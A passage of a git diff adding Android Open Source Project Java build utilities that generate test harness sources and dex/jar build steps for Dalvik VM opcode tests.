+                        sourceName);
+                cp += ":" + targetName;
+                // dot.junit.opcodes.invoke_interface_range.ITest
+                // -> dot/junit/opcodes/invoke_interface_range/ITest.jar
+            }
+
+            //"dot.junit.opcodes.add_double_2addr.Main_testN2";
+            String mainclass = pName + ".Main_" + method;
+            fileData.append(getShellExecJavaLine(cp, mainclass));
+            fileData.append("\n}\n\n");
+        }
+
+        public void end() {
+            fileData.append("\n}\n");
+        }
+
+        public File getFileToWrite() {
+            return new File(fileName);
+        }
+        public String getData() {
+            return fileData.toString();
+        }
+    }
+
+    private void flushHostState(HostState state) {
+        state.end();
+
+        File toWrite = state.getFileToWrite();
+        writeToFileMkdir(toWrite, state.getData());
+    }
+
+    private HostState openCTSHostFileFor(String pName, String classOnlyName) {
+        String sourceName = classOnlyName;
+
+        String modPackage = pName;
+        {
+            // Given a class name of "Test_zzz" and a package of "xxx.yyy.zzz," strip
+            // "zzz" from the package to reduce duplication (and dashboard clutter).
+            int lastDot = modPackage.lastIndexOf('.');
+            if (lastDot > 0) {
+                String lastPackageComponent = modPackage.substring(lastDot + 1);
+                if (classOnlyName.equals("Test_" + lastPackageComponent)) {
+                    // Drop the duplication.
+                    modPackage = modPackage.substring(0, lastDot);
+                }
+            }
+        }
+
+        String fileName = HOSTJUNIT_SRC_OUTPUT_FOLDER + "/" + modPackage.replaceAll("\\.", "/")
+                + "/" + sourceName + ".java";
+
+        HostState newState = new HostState(fileName);
+
+        newState.append(getWarningMessage());
+        newState.append("package " + modPackage + ";\n");
+        newState.append("import java.io.IOException;\n" +
+                "import java.util.concurrent.TimeUnit;\n\n" +
+                "import com.android.tradefed.device.CollectingOutputReceiver;\n" +
+                "import com.android.tradefed.testtype.IAbi;\n" +
+                "import com.android.tradefed.testtype.IAbiReceiver;\n" +
+                "import com.android.tradefed.testtype.DeviceTestCase;\n" +
+                "import com.android.tradefed.util.AbiFormatter;\n" +
+                "\n");
+        newState.append("public class " + sourceName + " extends DeviceTestCase implements " +
+                "IAbiReceiver {\n");
+
+        newState.append("\n" +
+                "protected IAbi mAbi;\n" +
+                "@Override\n" +
+                "public void setAbi(IAbi abi) {\n" +
+                "    mAbi = abi;\n" +
+                "}\n\n");
+
+        return newState;
+    }
+
+    private static String getShellExecJavaLine(String classpath, String mainclass) {
+      String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K " +
+              "-Djava.io.tmpdir=%s -classpath %s %s", TARGET_JAR_ROOT_PATH, TARGET_JAR_ROOT_PATH,
+              classpath, mainclass);
+      StringBuilder code = new StringBuilder();
+      code.append("    String cmd = AbiFormatter.formatCmdForAbi(\"")
+          .append(cmd)
+          .append("\", mAbi.getBitness());\n")
+          .append("    CollectingOutputReceiver receiver = new CollectingOutputReceiver();\n")
+          .append("    getDevice().executeShellCommand(cmd, receiver, 6, TimeUnit.MINUTES, 1);\n")
+          .append("    // A sucessful adb shell command returns an empty string.\n")
+          .append("    assertEquals(cmd, \"\", receiver.getOutput());");
+      return code.toString();
+    }
+
+    private String getWarningMessage() {
+        return "//Autogenerated code by " + this.getClass().getName() + "; do not edit.\n";
+    }
+
+    private void handleTest(String fqcn, List<String> methods) {
+        int lastDotPos = fqcn.lastIndexOf('.');
+        String pName = fqcn.substring(0, lastDotPos);
+        String classOnlyName = fqcn.substring(lastDotPos + 1);
+
+        HostState hostState = openCTSHostFileFor(pName, classOnlyName);
+
+        Collections.sort(methods, new Comparator<String>() {
+            @Override
+            public int compare(String s1, String s2) {
+                // TODO sort according: test ... N, B, E, VFE
+                return s1.compareTo(s2);
+            }
+        });
+        for (String method : methods) {
+            // e.g. testN1
+            if (!method.startsWith("test")) {
+                throw new RuntimeException("no test method: " + method);
+            }
+
+            // generate the Main_xx java class
+
+            // a Main_testXXX.java contains:
+            // package <packagenamehere>;
+            // public class Main_testxxx {
+            // public static void main(String[] args) {
+            // new dxc.junit.opcodes.aaload.Test_aaload().testN1();
+            // }
+            // }
+            MethodData md = parseTestMethod(pName, classOnlyName, method);
+            String methodContent = md.methodBody;
+
+            List<String> dependentTestClassNames = parseTestClassName(pName,
+                    classOnlyName, methodContent);
+
+            hostState.addCTSHostMethod(pName, method, dependentTestClassNames);
+        }
+
+        flushHostState(hostState);
+    }
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildCTSMainsSources.java b/tools/vm-tests-tf/build/src/util/build/BuildCTSMainsSources.java
new file mode 100644
index 0000000..601d575
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildCTSMainsSources.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+
+/**
+ * Main class to generate data from the test suite to later run from a shell
+ * script. the project's home folder.<br>
+ * <project-home>/src must contain the java sources<br>
+ * <project-home>/src/<for-each-package>/Main_testN1.java will be generated<br>
+ * (one Main class for each test method in the Test_... class
+ */
+public class BuildCTSMainsSources extends BuildUtilBase {
+
+    private String MAIN_SRC_OUTPUT_FOLDER = "";
+
+    /**
+     * @param args
+     *            args 0 must be the project root folder (where src, lib etc.
+     *            resides)
+     * @throws IOException
+     */
+    public static void main(String[] args) throws IOException {
+        BuildCTSMainsSources cat = new BuildCTSMainsSources();
+        if (!cat.parseArgs(args)) {
+          printUsage();
+          System.exit(-1);
+        }
+
+        long start = System.currentTimeMillis();
+        cat.run(cat::handleTest);
+        long end = System.currentTimeMillis();
+
+        System.out.println("elapsed seconds: " + (end - start) / 1000);
+    }
+
+    private boolean parseArgs(String[] args) {
+      if (args.length == 1) {
+          MAIN_SRC_OUTPUT_FOLDER = args[0];
+          return true;
+      } else {
+          return false;
+      }
+    }
+
+    private static void printUsage() {
+        System.out.println("usage: java-src-folder output-folder classpath " +
+                           "generated-main-files compiled_output");
+    }
+
+    private String getWarningMessage() {
+        return "//Autogenerated code by " + this.getClass().getName() + "; do not edit.\n";
+    }
+
+    private void handleTest(String fqcn, List<String> methods) {
+        int lastDotPos = fqcn.lastIndexOf('.');
+        String pName = fqcn.substring(0, lastDotPos);
+        String classOnlyName = fqcn.substring(lastDotPos + 1);
+
+        Collections.sort(methods, new Comparator<String>() {
+            @Override
+            public int compare(String s1, String s2) {
+                // TODO sort according: test ... N, B, E, VFE
+                return s1.compareTo(s2);
+            }
+        });
+        for (String method : methods) {
+            // e.g. testN1
+            if (!method.startsWith("test")) {
+                throw new RuntimeException("no test method: " + method);
+            }
+
+            // generate the Main_xx java class
+
+            // a Main_testXXX.java contains:
+            // package <packagenamehere>;
+            // public class Main_testxxx {
+            // public static void main(String[] args) {
+            // new dxc.junit.opcodes.aaload.Test_aaload().testN1();
+            // }
+            // }
+            MethodData md = parseTestMethod(pName, classOnlyName, method);
+            String methodContent = md.methodBody;
+
+            List<String> dependentTestClassNames = parseTestClassName(pName,
+                    classOnlyName, methodContent);
+
+            if (dependentTestClassNames.isEmpty()) {
+                continue;
+            }
+
+            String content = getWarningMessage() +
+                    "package " + pName + ";\n" +
+                    "import " + pName + ".d.*;\n" +
+                    "import dot.junit.*;\n" +
+                    "public class Main_" + method + " extends DxAbstractMain {\n" +
+                    "    public static void main(String[] args) throws Exception {" +
+                    methodContent + "\n}\n";
+
+            File sourceFile;
+            try {
+                sourceFile = getFileFromPackage(pName, method);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+
+            writeToFile(sourceFile, content);
+        }
+    }
+
+    private File getFileFromPackage(String pname, String methodName) throws IOException {
+        // e.g. dxc.junit.argsreturns.pargsreturn
+        String path = getFileName(pname, methodName, ".java");
+        String absPath = MAIN_SRC_OUTPUT_FOLDER + "/" + path;
+        File dirPath = new File(absPath);
+        File parent = dirPath.getParentFile();
+        if (!parent.exists() && !parent.mkdirs()) {
+            throw new IOException("failed to create directory: " + absPath);
+        }
+        return dirPath;
+    }
+
+    private String getFileName(String pname, String methodName, String extension) {
+        String path = pname.replaceAll("\\.", "/");
+        return new File(path, "Main_" + methodName + extension).getPath();
+    }
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java
new file mode 100644
index 0000000..0b069b5
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildDalvikSuite.java
@@ -0,0 +1,329 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+
+/**
+ * Main class to generate data from the test suite to later run from a shell
+ * script. the project's home folder.<br>
+ * <project-home>/src must contain the java sources<br>
+ * <project-home>/src/<for-each-package>/Main_testN1.java will be generated<br>
+ * (one Main class for each test method in the Test_... class
+ */
+public class BuildDalvikSuite extends BuildUtilBase {
+
+    public static final String TARGET_MAIN_FILE = "mains.jar";
+
+    // the folder for the generated junit-files for the cts host (which in turn
+    // execute the real vm tests using adb push/shell etc)
+    private String OUTPUT_FOLDER = "";
+    private String COMPILED_CLASSES_FOLDER = "";
+
+    private String JAVASRC_FOLDER;
+
+    /**
+     * @param args
+     *            args 0 must be the project root folder (where src, lib etc.
+     *            resides)
+     * @throws IOException
+     */
+    public static void main(String[] args) throws IOException {
+        BuildDalvikSuite cat = new BuildDalvikSuite();
+        if (!cat.parseArgs(args)) {
+          printUsage();
+          System.exit(-1);
+        }
+
+        long start = System.currentTimeMillis();
+        cat.run(null);
+        long end = System.currentTimeMillis();
+
+        System.out.println("elapsed seconds: " + (end - start) / 1000);
+    }
+
+    private boolean parseArgs(String[] args) {
+      if (args.length == 3) {
+          JAVASRC_FOLDER = args[0];
+          OUTPUT_FOLDER = args[1];
+          COMPILED_CLASSES_FOLDER = args[2];
+          return true;
+      } else {
+          return false;
+      }
+    }
+
+    private static void printUsage() {
+        System.out.println("usage: java-src-folder output-folder classpath " +
+                           "generated-main-files compiled_output");
+    }
+
+    class MyTestHandler implements TestHandler {
+        public String datafileContent = "";
+        Set<BuildStep> targets = new TreeSet<BuildStep>();
+
+        @Override
+        public void handleTest(String fqcn, List<String> methods) {
+            int lastDotPos = fqcn.lastIndexOf('.');
+            String pName = fqcn.substring(0, lastDotPos);
+            String classOnlyName = fqcn.substring(lastDotPos + 1);
+
+            Collections.sort(methods, new Comparator<String>() {
+                @Override
+                public int compare(String s1, String s2) {
+                    // TODO sort according: test ... N, B, E, VFE
+                    return s1.compareTo(s2);
+                }
+            });
+            for (String method : methods) {
+                // e.g. testN1
+                if (!method.startsWith("test")) {
+                    throw new RuntimeException("no test method: " + method);
+                }
+
+                // generate the Main_xx java class
+
+                // a Main_testXXX.java contains:
+                // package <packagenamehere>;
+                // public class Main_testxxx {
+                // public static void main(String[] args) {
+                // new dxc.junit.opcodes.aaload.Test_aaload().testN1();
+                // }
+                // }
+                MethodData md = parseTestMethod(pName, classOnlyName, method);
+                String methodContent = md.methodBody;
+
+                List<String> dependentTestClassNames = parseTestClassName(pName,
+                        classOnlyName, methodContent);
+
+                if (dependentTestClassNames.isEmpty()) {
+                    continue;
+                }
+
+                // prepare the entry in the data file for the bash script.
+                // e.g.
+                // main class to execute; opcode/constraint; test purpose
+                // dxc.junit.opcodes.aaload.Main_testN1;aaload;normal case test
+                // (#1)
+
+                char ca = method.charAt("test".length()); // either N,B,E,
+                // or V (VFE)
+                String comment;
+                switch (ca) {
+                case 'N':
+                    comment = "Normal #" + method.substring(5);
+                    break;
+                case 'B':
+                    comment = "Boundary #" + method.substring(5);
+                    break;
+                case 'E':
+                    comment = "Exception #" + method.substring(5);
+                    break;
+                case 'V':
+                    comment = "Verifier #" + method.substring(7);
+                    break;
+                default:
+                    throw new RuntimeException("unknown test abbreviation:"
+                            + method + " for " + fqcn);
+                }
+
+                String line = pName + ".Main_" + method + ";";
+                for (String className : dependentTestClassNames) {
+                    line += className + " ";
+                }
+
+
+                // test description
+                String[] pparts = pName.split("\\.");
+                // detail e.g. add_double
+                String detail = pparts[pparts.length-1];
+                // type := opcode | verify
+                String type = pparts[pparts.length-2];
+
+                String description;
+                if ("format".equals(type)) {
+                    description = "format";
+                } else if ("opcodes".equals(type)) {
+                    // Beautify name, so it matches the actual mnemonic
+                    detail = detail.replaceAll("_", "-");
+                    detail = detail.replace("-from16", "/from16");
+                    detail = detail.replace("-high16", "/high16");
+                    detail = detail.replace("-lit8", "/lit8");
+                    detail = detail.replace("-lit16", "/lit16");
+                    detail = detail.replace("-4", "/4");
+                    detail = detail.replace("-16", "/16");
+                    detail = detail.replace("-32", "/32");
+                    detail = detail.replace("-jumbo", "/jumbo");
+                    detail = detail.replace("-range", "/range");
+                    detail = detail.replace("-2addr", "/2addr");
+
+                    // Unescape reserved words
+                    detail = detail.replace("opc-", "");
+
+                    description = detail;
+                } else if ("verify".equals(type)) {
+                    description = "verifier";
+                } else {
+                    description = type + " " + detail;
+                }
+
+                String details = (md.title != null ? md.title : "");
+                if (md.constraint != null) {
+                    details = " Constraint " + md.constraint + ", " + details;
+                }
+                if (details.length() != 0) {
+                    details = details.substring(0, 1).toUpperCase()
+                            + details.substring(1);
+                }
+
+                line += ";" + description + ";" + comment + ";" + details;
+
+                datafileContent += line + "\n";
+                generateBuildStepFor(dependentTestClassNames, targets);
+            }
+        }
+    }
+
+    @Override
+    protected void handleTests(JUnitTestCollector tests, TestHandler ignored) {
+        MyTestHandler handler = new MyTestHandler();
+        super.handleTests(tests, handler);
+
+        File scriptDataDir = new File(OUTPUT_FOLDER + "/data/");
+        scriptDataDir.mkdirs();
+        writeToFile(new File(scriptDataDir, "scriptdata"), handler.datafileContent);
+
+        for (BuildStep buildStep : handler.targets) {
+            if (!buildStep.build()) {
+                System.out.println("building failed. buildStep: " +
+                        buildStep.getClass().getName() + ", " + buildStep);
+                System.exit(1);
+            }
+        }
+    }
+
+    private void generateBuildStepFor(Collection<String> dependentTestClassNames,
+            Set<BuildStep> targets) {
+        for (String dependentTestClassName : dependentTestClassNames) {
+            generateBuildStepForDependant(dependentTestClassName, targets);
+        }
+    }
+
+    private void generateBuildStepForDependant(String dependentTestClassName,
+            Set<BuildStep> targets) {
+
+        File sourceFolder = new File(JAVASRC_FOLDER);
+        String fileName = dependentTestClassName.replace('.', '/').trim();
+
+        if (new File(sourceFolder, fileName + ".dfh").exists()) {
+            // Handled in vmtests-dfh-dex-generated build rule.
+            return;
+        }
+
+        if (new File(sourceFolder, fileName + ".d").exists()) {
+            // Handled in vmtests-dasm-dex-generated build rule.
+            return;
+        }
+
+        {
+            // Build dex from a single '*.smali' file or a *.smalis' dir
+            // containing multiple smali files.
+            File dexFile = null;
+            SmaliBuildStep buildStep = null;
+            File smaliFile = new File(sourceFolder, fileName + ".smali");
+            File smalisDir = new File(sourceFolder, fileName + ".smalis");
+
+            if (smaliFile.exists()) {
+                dexFile = new File(OUTPUT_FOLDER, fileName + ".dex");
+                buildStep = new SmaliBuildStep(
+                    Collections.singletonList(smaliFile.getAbsolutePath()), dexFile);
+            } else if (smalisDir.exists() && smalisDir.isDirectory()) {
+                List<String> inputFiles = new ArrayList<>();
+                for (File f: smalisDir.listFiles()) {
+                    inputFiles.add(f.getAbsolutePath());
+                }
+                dexFile = new File(OUTPUT_FOLDER, fileName + ".dex");
+                buildStep = new SmaliBuildStep(inputFiles, dexFile);
+            }
+
+            if (buildStep != null) {
+                BuildStep.BuildFile jarFile = new BuildStep.BuildFile(
+                        OUTPUT_FOLDER, fileName + ".jar");
+                JarBuildStep jarBuildStep = new JarBuildStep(new BuildStep.BuildFile(dexFile),
+                        "classes.dex", jarFile, true);
+                jarBuildStep.addChild(buildStep);
+                targets.add(jarBuildStep);
+                return;
+            }
+        }
+
+        File srcFile = new File(sourceFolder, fileName + ".java");
+        if (srcFile.exists()) {
+            BuildStep dexBuildStep;
+            dexBuildStep = generateDexBuildStep(
+              COMPILED_CLASSES_FOLDER, fileName);
+            targets.add(dexBuildStep);
+            return;
+        }
+
+        try {
+            if (Class.forName(dependentTestClassName) != null) {
+                BuildStep dexBuildStep = generateDexBuildStep(
+                    COMPILED_CLASSES_FOLDER, fileName);
+                targets.add(dexBuildStep);
+                return;
+            }
+        } catch (ClassNotFoundException e) {
+            // do nothing
+        }
+
+        throw new RuntimeException("neither .dfh,.d,.java file of dependant test class found : " +
+                dependentTestClassName + ";" + fileName);
+    }
+
+    private BuildStep generateDexBuildStep(String classFileFolder,
+            String classFileName) {
+        BuildStep.BuildFile classFile = new BuildStep.BuildFile(
+                classFileFolder, classFileName + ".class");
+
+        BuildStep.BuildFile tmpJarFile = new BuildStep.BuildFile(
+                OUTPUT_FOLDER,
+                classFileName + "_tmp.jar");
+
+        JarBuildStep jarBuildStep = new JarBuildStep(classFile,
+                classFileName + ".class", tmpJarFile, false);
+
+        BuildStep.BuildFile outputFile = new BuildStep.BuildFile(
+                OUTPUT_FOLDER,
+                classFileName + ".jar");
+
+        D8BuildStep dexBuildStep = new D8BuildStep(tmpJarFile,
+                outputFile,
+                true);
+
+        dexBuildStep.addChild(jarBuildStep);
+        return dexBuildStep;
+    }
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildStep.java b/tools/vm-tests-tf/build/src/util/build/BuildStep.java
new file mode 100644
index 0000000..508e969
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildStep.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.channels.FileChannel;
+import java.util.HashSet;
+import java.util.Set;
+
+abstract class BuildStep implements Comparable<BuildStep> {
+
+    BuildFile inputFile;
+    BuildFile outputFile;
+
+    static class BuildFile {
+        final File folder;
+        final File fileName;
+
+        BuildFile(String folder, String fileName) {
+            this.folder = new File(folder);
+            this.fileName = new File(this.folder, fileName);
+        }
+        BuildFile(File file) {
+            this.folder = file.getParentFile();
+            this.fileName = file;
+        }
+
+        String getPath() {
+            return fileName.getAbsolutePath();
+        }
+
+        @Override
+        public int hashCode() {
+            return fileName.hashCode();
+        }
+
+        @Override
+        public boolean equals(Object obj) {
+            if (obj == null) return false;
+            if (this == obj) return true;
+            if (getClass() == obj.getClass()) {
+                BuildFile other = (BuildFile) obj;
+                return fileName.equals(other.fileName);
+            }
+            return false;
+        }
+    }
+
+    BuildStep(BuildFile inputFile, BuildFile outputFile) {
+        if (inputFile == null) {
+            throw new NullPointerException("inputFile is null");
+        }
+        if (outputFile == null) {
+            throw new NullPointerException("outputFile is null");
+        }
+        this.inputFile = inputFile;
+        this.outputFile = outputFile;
+    }
+
+    BuildStep(File output) {
+        this.outputFile = new BuildFile(output);
+    }
+
+    private Set<BuildStep> children;
+
+    boolean build() {
+        if (children != null) {
+            for (BuildStep child : children) {
+                if (!child.build()) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (obj == null) return false;
+        if (obj == this) return true;
+        return this.getClass() == obj.getClass();
+    }
+
+    @Override
+    public abstract int hashCode();
+
+    public void addChild(BuildStep child) {
+        if (children == null) {
+            children = new HashSet<BuildStep>();
+        }
+        children.add(child);
+    }
+
+    public static void copyFile(File in, File out) throws IOException {
+        FileChannel inChannel = new FileInputStream(in).getChannel();
+        FileChannel outChannel = new FileOutputStream(out).getChannel();
+        try {
+            inChannel.transferTo(0, inChannel.size(), outChannel);
+        } catch (IOException e) {
+            throw e;
+        } finally {
+            if (inChannel != null) inChannel.close();
+            if (outChannel != null) outChannel.close();
+        }
+    }
+
+    public int compareTo(BuildStep o) {
+        return (outputFile == o.outputFile ? 0 : outputFile.getPath().compareTo(
+                        o.outputFile.getPath()));
+    }
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildUtilBase.java b/tools/vm-tests-tf/build/src/util/build/BuildUtilBase.java
new file mode 100644
index 0000000..8a6eab4
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildUtilBase.java
@@ -0,0 +1,291 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.io.StringReader;
+import java.net.URL;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Scanner;
+import java.util.regex.MatchResult;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Helper base class for code generators.
+ */
+public abstract class BuildUtilBase {
+
+    public static boolean DEBUG = true;
+
+    public static class MethodData {
+        String methodBody, constraint, title;
+    }
+
+    public interface TestHandler {
+        public void handleTest(String fqcn, List<String> methods);
+    }
+
+    public void run(TestHandler handler) {
+        System.out.println("Collecting all junit tests...");
+        JUnitTestCollector tests = new JUnitTestCollector(getClass().getClassLoader());
+
+        handleTests(tests, handler);
+    }
+
+    protected void handleTests(JUnitTestCollector tests, TestHandler handler) {
+        System.out.println("collected " + tests.testMethodsCnt + " test methods in " +
+                tests.testClassCnt + " junit test classes");
+
+        for (Entry<String, List<String>> entry : tests.map.entrySet()) {
+            handler.handleTest(entry.getKey(), entry.getValue());
+        }
+    }
+
+    private static String readURL(URL in) {
+        // Use common scanner idiom to read a complete InputStream into a string.
+        try (Scanner scanner = new Scanner(in.openStream(), StandardCharsets.UTF_8.toString())) {
+            scanner.useDelimiter("\\A");  // This delimits by "start of content," of which there is
+                                          // only one.
+            return scanner.hasNext() ? scanner.next() : null;
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    protected MethodData parseTestMethod(String pname, String classOnlyName,
+            String method) {
+        String searchPath = "src/" + pname.replaceAll("\\.", "/") + "/" + classOnlyName + ".java";
+        String content;
+        {
+            URL resource = getClass().getClassLoader().getResource(searchPath);
+            if (resource == null) {
+                throw new RuntimeException("Could not find " + searchPath);
+            }
+            content = readURL(resource);
+            if (content == null) {
+                throw new RuntimeException("Could not retrieve content for " + searchPath);
+            }
+        }
+
+        final String methodPattern = "public\\s+void\\s+" + method + "[^\\{]+\\{";
+
+        int methodSkip;
+        try (Scanner scanner = new Scanner(content)) {
+            String token = scanner.findWithinHorizon(methodPattern, content.length());
+            if (token == null) {
+                throw new RuntimeException("cannot find method source of 'public void " + method +
+                        "' in file '" + searchPath + "'");
+            }
+
+            MatchResult result = scanner.match();
+            result.start();
+            methodSkip = result.end();
+        }
+
+        StringBuilder builder = new StringBuilder();
+
+        try {
+            StringReader reader = new StringReader(content);
+            reader.skip(methodSkip);
+
+            int readResult;
+            int blocks = 1;
+            while ((readResult = reader.read()) != -1 && blocks > 0) {
+                char currentChar = (char) readResult;
+                switch (currentChar) {
+                    case '}': {
+                        blocks--;
+                        builder.append(currentChar);
+                        break;
+                    }
+                    case '{': {
+                        blocks++;
+                        builder.append(currentChar);
+                        break;
+                    }
+                    default: {
+                        builder.append(currentChar);
+                        break;
+                    }
+                }
+            }
+            if (reader != null) {
+                reader.close();
+            }
+        } catch (Exception e) {
+            throw new RuntimeException("failed to parse", e);
+        }
+
+        // find the @title/@constraint in javadoc comment for this method
+        // using platform's default charset
+
+        // System.out.println("grepping javadoc found for method " + method +
+        // " in " + pname + "," + classOnlyName);
+        String commentPattern = "/\\*\\*([^{]*)\\*/\\s*" + methodPattern;
+        Pattern p = Pattern.compile(commentPattern, Pattern.DOTALL);
+        Matcher m = p.matcher(content);
+        String title = null, constraint = null;
+        if (m.find()) {
+            String res = m.group(1);
+            // System.out.println("res: " + res);
+            // now grep @title and @constraint
+            Matcher titleM = Pattern.compile("@title (.*)", Pattern.DOTALL)
+            .matcher(res);
+            if (titleM.find()) {
+                title = titleM.group(1).replaceAll("\\n     \\*", "");
+                title = title.replaceAll("\\n", " ");
+                title = title.trim();
+                // System.out.println("title: " + title);
+            } else {
+                System.err.println("warning: no @title found for method " + method + " in " + pname +
+                        "," + classOnlyName);
+            }
+            // constraint can be one line only
+            Matcher constraintM = Pattern.compile("@constraint (.*)").matcher(
+                    res);
+            if (constraintM.find()) {
+                constraint = constraintM.group(1);
+                constraint = constraint.trim();
+                // System.out.println("constraint: " + constraint);
+            } else if (method.contains("VFE")) {
+                System.err
+                .println("warning: no @constraint for for a VFE method:" + method + " in " +
+                        pname + "," + classOnlyName);
+            }
+        } else {
+            System.err.println("warning: no javadoc found for method " + method + " in " + pname +
+                    "," + classOnlyName);
+        }
+        MethodData md = new MethodData();
+        md.methodBody = builder.toString();
+        md.constraint = constraint;
+        md.title = title;
+        return md;
+    }
+
+    /**
+     * @param pName
+     * @param classOnlyName
+     * @param methodSource
+     * @return testclass names
+     */
+    protected static List<String> parseTestClassName(String pName, String classOnlyName,
+            String methodSource) {
+        List<String> entries = new ArrayList<String>(2);
+        String opcodeName = classOnlyName.substring(5);
+
+        try (Scanner scanner = new Scanner(methodSource)) {
+            String[] patterns = new String[] { "new\\s(T_" + opcodeName + "\\w*)",
+                    "(T_" + opcodeName + "\\w*)", "new\\s(T\\w*)" };
+
+            String token = null;
+            for (String pattern : patterns) {
+                token = scanner.findWithinHorizon(pattern, methodSource.length());
+                if (token != null) {
+                    break;
+                }
+            }
+
+            if (token == null) {
+                System.err.println("warning: failed to find dependent test class name: " + pName
+                        + ", " + classOnlyName + " in methodSource:\n" + methodSource);
+                return entries;
+            }
+
+            MatchResult result = scanner.match();
+
+            entries.add((pName + ".d." + result.group(1)).trim());
+
+            // search additional @uses directives
+            Pattern p = Pattern.compile("@uses\\s+(.*)\\s+", Pattern.MULTILINE);
+            Matcher m = p.matcher(methodSource);
+            while (m.find()) {
+                String res = m.group(1);
+                entries.add(0, res.trim());
+            }
+
+            // search for " load(\"...\" " and add as dependency
+            Pattern loadPattern = Pattern.compile("load\\(\"([^\"]*)\"", Pattern.MULTILINE);
+            Matcher loadMatcher = loadPattern.matcher(methodSource);
+            while (loadMatcher.find()) {
+                String res = loadMatcher.group(1);
+                entries.add(res.trim());
+            }
+
+            // search for " loadAndRun(\"...\" " and add as dependency
+            Pattern loadAndRunPattern = Pattern.compile("loadAndRun\\(\"([^\"]*)\"",
+                    Pattern.MULTILINE);
+            Matcher loadAndRunMatcher = loadAndRunPattern.matcher(methodSource);
+            while (loadAndRunMatcher.find()) {
+                String res = loadAndRunMatcher.group(1);
+                entries.add(res.trim());
+            }
+
+            // lines with the form @uses
+            // dot.junit.opcodes.add_double.jm.T_add_double_2
+            // one dependency per one @uses
+            // TODO
+
+            return entries;
+        }
+    }
+
+    public static void writeToFileMkdir(File file, String content) {
+        File parent = file.getParentFile();
+        if (!parent.exists() && !parent.mkdirs()) {
+            throw new RuntimeException("failed to create directory: " + parent.getAbsolutePath());
+        }
+        writeToFile(file, content);
+    }
+
+    public static void writeToFile(File file, String content) {
+        try {
+            if (file.exists() && file.length() == content.length()) {
+                FileReader reader = new FileReader(file);
+                char[] charContents = new char[(int) file.length()];
+                reader.read(charContents);
+                reader.close();
+                String contents = new String(charContents);
+                if (contents.equals(content)) {
+                    // System.out.println("skipping identical: "
+                    // + file.getAbsolutePath());
+                    return;
+                }
+            }
+
+            //System.out.println("writing file " + file.getAbsolutePath());
+
+            BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
+                    new FileOutputStream(file), "utf-8"));
+            bw.write(content);
+            bw.close();
+        } catch (Exception e) {
+            throw new RuntimeException("error while writing to file: " + e.getClass().getName() +
+                    ", msg:" + e.getMessage());
+        }
+    }
+
+}
diff --git a/tools/vm-tests-tf/src/util/build/D8BuildStep.java b/tools/vm-tests-tf/build/src/util/build/D8BuildStep.java
similarity index 100%
rename from tools/vm-tests-tf/src/util/build/D8BuildStep.java
rename to tools/vm-tests-tf/build/src/util/build/D8BuildStep.java
